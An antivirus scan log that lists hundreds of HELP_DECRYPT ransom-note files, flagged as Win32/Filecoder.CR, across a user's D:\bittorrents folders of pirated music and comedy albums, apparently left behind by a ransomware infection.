D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Made In Japan\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Made In Japan\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Stormbringer\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Stormbringer\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Who Do We Think We Are\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\Who Do We Think We Are\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple - The Complete Albums 1970-76 [10 CD Box] (2013) [email protected] Beolab1700\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple-Perfect Strangers\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Deep Purple-Perfect Strangers\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Facelift\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Facelift\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1967 - The Grateful Dead\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1967 - The Grateful Dead\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1969 - Aoxomoxoa\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1969 - Aoxomoxoa\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1970 - American Beauty\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1970 - American Beauty\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1970 - Workingman's Dead\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1970 - Workingman's Dead\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1971 - Grateful Dead\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1971 - Grateful Dead\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1974 - Grateful Dead From The Mars Hotel\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1974 - Grateful Dead From The Mars Hotel\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1975 - Blues For Allah\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1975 - Blues For Allah\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1978 - Shakedown Street\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1978 - Shakedown Street\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1980 - Go To Heaven\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1980 - Go To Heaven\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1981 - Dead Set\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1981 - Dead Set\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1987 - In The Dark\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\1987 - In The Dark\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Grateful Dead\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Gregg Allman - Low Country Blues (2011) vtwin88cube\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Gregg Allman - Low Country Blues (2011) vtwin88cube\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Guns N' Roses - G N' R Lies\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Guns N' Roses - G N' R Lies\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\instraz\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\instraz\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\JUDAS PRIEST - British Steel -\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\JUDAS PRIEST - British Steel -\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1987 Criminal Minded(BDP)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1987 Criminal Minded(BDP)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1988 by all means necessary(BDP)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1988 by all means necessary(BDP)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1989 Ghetto Music - The Blueprint of Hiphop(BDP)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1989 Ghetto Music - The Blueprint of Hiphop(BDP)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1990 Edutainment(BDP)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1990 Edutainment(BDP)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1991 Live Hardcore Worldwide(BDP)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1991 Live Hardcore Worldwide(BDP)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1992 Sex and Violence(BDP)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1992 Sex and Violence(BDP)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1993 Return of the Boom Bap\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1993 Return of the Boom Bap\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1995 KRS-One\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1995 KRS-One\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1997 I Got Next\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1997 I Got Next\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1999 Criminal Justice\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\1999 Criminal Justice\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2000 A Retrospective\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2000 A Retrospective\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2001 The Sneak Attack\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2001 The Sneak Attack\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2002 Prophets Vs. Profits\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2002 Prophets Vs. Profits\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2002 Spitirual Minded\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2002 Spitirual Minded\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2002 the mix tape\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2002 the mix tape\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2003 Kristyles\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2003 Kristyles\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2003 krs one - digital\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2003 krs one - digital\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2004 Keep Right\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2004 Keep Right\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2006 Life\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\2006 Life\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\Stuff\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\Stuff\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\KRS-One\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Lauryn Hill - The Miseducation Of Lauryn Hill [1998]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Lauryn Hill - The Miseducation Of Lauryn Hill [1998]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Led Zeppelin II (1969) {1994 Remaster}\Extras\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Led Zeppelin II (1969) {1994 Remaster}\Extras\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Led Zeppelin II (1969) {1994 Remaster}\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Led Zeppelin II (1969) {1994 Remaster}\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\Disc 01\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\Disc 01\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\Disc 02\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\Disc 02\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\Extras\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected]20Kbps)\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\Extras\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Physical Graffiti (1975)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\Led Zeppelin - Discography ([email protected])\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Led Zeppelin - Discography ([email protected])\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Live at the Grand Olympic Auditorium\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Live at the Grand Olympic Auditorium\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Lynyrd Skynyrd - All Time Greatest Hits\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Lynyrd Skynyrd - All Time Greatest Hits\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - Entire Album - Uprising & Survival\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - Entire Album - Uprising & Survival\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - One Love - The Very Best Of Bob Marley & The Wailers\Disc One\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - One Love - The Very Best Of Bob Marley & The Wailers\Disc One\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - One Love - The Very Best Of Bob Marley & The Wailers\Disc Two\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - One Love - The Very Best Of Bob Marley & The Wailers\Disc Two\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - One Love - The Very Best Of Bob Marley & The Wailers\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob Marley - One Love - The Very Best Of Bob Marley & The Wailers\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob_Marley-The_Reggae_King-Best_Of_Bob_Marley-(Boxset)-3CD-2007-EON\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\Bob_Marley-The_Reggae_King-Best_Of_Bob_Marley-(Boxset)-3CD-2007-EON\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Marley\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Metallica - Live **** Binge and Purge Seattle 320kbps mp3 - Mr. Philpot\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Metallica - Live **** Binge and Purge Seattle 320kbps mp3 - Mr. Philpot\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Metallica - Ride The Lightning\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Metallica - Ride The Lightning\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Metallica Kill 'Em All.1983.Remastered.Edition.2009[320 Kbps]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Metallica Kill 'Em All.1983.Remastered.Edition.2009[320 Kbps]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Midnight Marauders\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Midnight Marauders\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Mobb Deep - Life Of The Infamous The Best Of Mobb Deep [2006] [Hip Hop] [www.file24ever.com]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Mobb Deep - Life Of The Infamous The Best Of Mobb Deep [2006] [Hip Hop] [www.file24ever.com]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Mobb Deep - Murda Muzik\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Mobb Deep - Murda Muzik\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\1981 - No Sleep 'til Hammersmith (2004)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\1981 - No Sleep 'til Hammersmith (2004)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\1994 - Live At Brixton '87\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\1994 - Live At Brixton '87\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\1999 - Everything Louder Than Everyone Else - Hamburg 1998\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\1999 - Everything Louder Than Everyone Else - Hamburg 1998\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2002 - Keep Us On The Road - 2CD\1989 - Blitzkrieg On Birmingham '77\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2002 - Keep Us On The Road - 2CD\1989 - Blitzkrieg On Birmingham '77\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2002 - Keep Us On The Road - 2CD\1990 - Lock Up Your Daughters\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2002 - Keep Us On The Road - 2CD\1990 - Lock Up Your Daughters\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2002 - Keep Us On The Road - 2CD\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2002 - Keep Us On The Road - 2CD\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2005 - BBC Live and in Session - 2CD\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\2005 - BBC Live and in Session - 2CD\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Motorhead\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1982 Speak Of The Devil\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1982 Speak Of The Devil\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1987 Randy Rhoads Tribute\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1987 Randy Rhoads Tribute\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1990 Just Say Ozzy\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1990 Just Say Ozzy\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1993 Live & Loud CD 1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1993 Live & Loud CD 1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1993 Live & Loud CD 2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\1993 Live & Loud CD 2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Ozzy Osbourne\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Pantera - 1992 - Vulgar Display Of Power\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Pantera - 1992 - Vulgar Display Of Power\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Pantera Official Live 101 Proof\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Pantera Official Live 101 Proof\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Discography\1997 - Flaming Pie\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Discography\1997 - Flaming Pie\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Discography\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Discography\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1973 - Band On The Run (Remastered) @320\scans\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1973 - Band On The Run (Remastered) @320\scans\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1973 - Band On The Run (Remastered) @320\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1973 - Band On The Run (Remastered) @320\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1975 - Venus And Mars (Remastered) @320\scans\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1975 - Venus And Mars (Remastered) @320\scans\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1975 - Venus And Mars (Remastered) @320\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1975 - Venus And Mars (Remastered) @320\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1976 - Rrrrooock Show @320\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1976 - Rrrrooock Show @320\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1976 - Wings At The Speed Of Sound\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\1976 - Wings At The Speed Of Sound\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\Albums\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\Wings\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Paul McCartney\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Peace Sells... But Who's Buying\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Peace Sells... But Who's Buying\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Pink Floyd - Dark Side Of The Moon [320kbps]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Pink Floyd - Dark Side Of The Moon [320kbps]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1971 - Meddle 2011 Remaster\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1971 - Meddle 2011 Remaster\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1975 - Wish You Were Here 2011 Remaster\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1975 - Wish You Were Here 2011 Remaster\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan  
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1977 - Animals 2011 Remaster\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1977 - Animals 2011 Remaster\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1979 - The Wall 2011 Remaster\CD1\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1979 - The Wall 2011 Remaster\CD1\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1979 - The Wall 2011 Remaster\CD2\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1979 - The Wall 2011 Remaster\CD2\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1979 - The Wall 2011 Remaster\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1979 - The Wall 2011 Remaster\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1987 - A Momentary Lapse Of Reason 2011 Remaster\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\1987 - A Momentary Lapse Of Reason 2011 Remaster\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\2011 - A Foot In The Door - The Best Of Pink Floyd\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\2011 - A Foot In The Door - The Best Of Pink Floyd\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\PINK FLOYD - Discography 2011 Remasters [Bubanee]\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Reachin' (A New Refutation of Time and Space)\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Reachin' (A New Refutation of Time and Space)\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Ressurection\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Ressurection\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Richard Pryor_Here & Now_dvd rip__FlippCo Media\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Richard Pryor_Here & Now_dvd rip__FlippCo Media\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Richard.Pryor.Live.In.Concert.1979.DVDRip.Xvid.iNT-420Ripz\Sample\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Richard.Pryor.Live.In.Concert.1979.DVDRip.Xvid.iNT-420Ripz\Sample\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Richard.Pryor.Live.In.Concert.1979.DVDRip.Xvid.iNT-420Ripz\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
D:\bittorrents\Richard.Pryor.Live.In.Concert.1979.DVDRip.Xvid.iNT-420Ripz\HELP_DECRYPT.TXT Win32/Filecoder.CR trojan 
D:\bittorrents\Richard.Pryor.Live.On.The.Sunset.Strip.1982.DVDRip.Xvid.iNT-420Ripz\HELP_DECRYPT.HTML Win32/Filecoder.CR trojan 
